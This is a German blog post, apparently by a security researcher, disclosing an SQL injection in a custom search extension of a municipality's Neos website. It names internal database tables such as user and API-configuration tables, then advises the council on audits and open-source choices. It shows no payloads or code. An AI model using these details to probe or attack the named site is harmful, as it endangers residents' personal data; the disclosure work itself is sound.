Wer sich bereits mit DBAL auseinandergesetzt hat, wird sofort feststellen, dass durch die Verwendung von Prepared Statements SQL-Injection ausgeschlossen ist. Wenn also die Logik in Neos erweitert werden muss, um bestimmte Anforderungen zu erfüllen, wird PHP hinzugezogen. Meine Vermutung ist, dass eine entsprechende Anbindung an ein anderes System über Datenbankanfragen (ohne ORM) erforderlich war. Die nativen SQL-Abfragen werden im Controller an eine externe Datenbank durchgeführt, vermutlich, um auch Inhalte in die Suche einzubeziehen, die nicht als Node über ein Repository abrufbar sind.

Fatal wird es, wenn Anfrage-Parameter vom Client in einer Datenbankabfrage ohne Überprüfung in die Query übernommen und ausgeführt werden, was hier der Fall war. Bei einer Anfrage an eine externe Datenbank erfolgt üblicherweise eine Suche in einer oder mehreren Tabellen nach Inhalten, die dem Suchbegriff entsprechen. Durch eine SQL-Injection kann ein Angreifer jedoch die Anfrage manipulieren und dadurch Zugriff auf ALLE Tabellen sowie in bestimmten Fällen auch auf andere Datenbanken erhalten. Das ermöglicht den Zugriff auf äußerst sensible Informationen, einschließlich personenbezogener Daten, aber auch auf Zugangsdaten, Secrets, API Creds, Tokens oder andere Verbindungsdaten, die ebenfalls in der Datenbank gespeichert sind und für weiterführende Angriffe genutzt werden können.

Inhalte aus Tabellen wie Core_Conf_Exchange, Core_DeviceToken, APT_Appointments, ABS_AppConfiguration, Core_User, Core_UserAuthentications, IMS_ExternalUsers oder GDC_ExternalAPIConfig sind nicht vorgesehen, über eine Suchergebnisseite ausgegeben zu werden.

Meine Anfragen begrenzten sich bei der Ausforschung im übrigen nur auf die Ausgabe der Datenbank Struktur, nicht aber auf Datensätze aus Tabellen. Das wäre auch absolut unnötig für das Aufzeigen dieser Sicherheitslücke gewesen.

Meiner Meinung nach zählt das Content Management System (CMS), das von der Gemeinde Roggenburg eingesetzt wird, zu den besten und innovativsten, die mir bekannt sind. Aufgrund meiner Erfahrungen mit verschiedenen Systemen kann ich für mich behaupten, dass die Codebasis von Neos (bzw. Flow) im Vergleich zu gängigen Systemen wie Drupal oder TYPO3 besonders hochwertig und durchdacht wirkt. Hier wird nicht nur sorgfältig auf Standards geachtet, sondern auch kontinuierlich der neueste Stand der Technik verfolgt.

Das Content Repository, das auf Event Sourcing basiert und mit der Version 9 eingeführt wurde, halte ich für bahnbrechend. Die Sicherheitsbilanz von Neos lässt sich auch sehen: Im Laufe der Jahre wurden nur wenige Schwachstellen entdeckt, und selbst diese waren in der Regel nur mit hohen Privilegien ausnutzbar, sofern überhaupt exploitfähig. Daher ist es nicht verwunderlich, dass auch ich auf Neos setze – mein Blog z.B. basiert auf diesem System.

Long story short

Eine vulnerable Third-Party Komponente, welche Sicherheitslücken eröffnet, wird bei jedem (!) System Türen für Angreifer öffnen. Ich untersuche nun seit drei Jahren immer wieder kommunale Webapplikationen und muss unter dem Strich feststellen, dass so gut wie nie das zugrundeliegende System an sich vulnerabel ist, sondern entweder Fehlkonfigurationen oder Eigenentwicklungen in Form von Erweiterungen, Plugins bzw. Extensions durch die jeweiligen Dienstleister, welche Sicherheitslücken eröffneten.

Liebe Kommunalvertretung

Open Source-Produkte sollten meiner Meinung nach immer bevorzugt werden. Durch den öffentlich einsehbaren Quellcode ist in der Regel gewährleistet, dass, abhängig von der Popularität, eine vielzahl an Entwickler:innen den Code überprüfen, was eine höhere Sicherheit bietet als bei einem geschlossenen System, das in den Händen von ein paar Entwickler:innen liegt. Systeme wie Neos, TYPO3 oder Drupal sowie Eigenentwicklungen auf Basis von Frameworks wie Neos Flow, Laravel oder Symfony können durchaus sicher betrieben werden. Der entscheidende Punkt liegt jedoch immer beim verantwortlichen Dienstleister, der auf Basis dieser Systeme Webapplikationen umsetzt und mit eigener Programmierung "ergänzt". Eine Kommune kann die Qualität in der Regel nicht selbst kontrollieren - klar. Daher ist es ratsam, produktive Systeme, die sensible Daten verarbeiten, entweder einem Penetrationstest oder einem Code-Audit von einem unabhängigen Dienstleister unterziehen zu lassen.

Auch wenn Sie hohe Ansprüche und Erwartungen an ein System haben, ist eine entsprechende Beachtung in der "eigenen" Entwicklung unerlässlich. Weder ein Standard noch eine ISO-Zertifizierung wird Sie vor einem erfolgreichen Angriff schützen, wenn sich durch Nachlässigkeit oder Unwissenheit Sicherheitslücken ergeben.

Achja. Sollte Ihnen jemand Wordpress andrehen wollen, dann verbannen Sie das Angebot bitte direkt in den Papierkorb.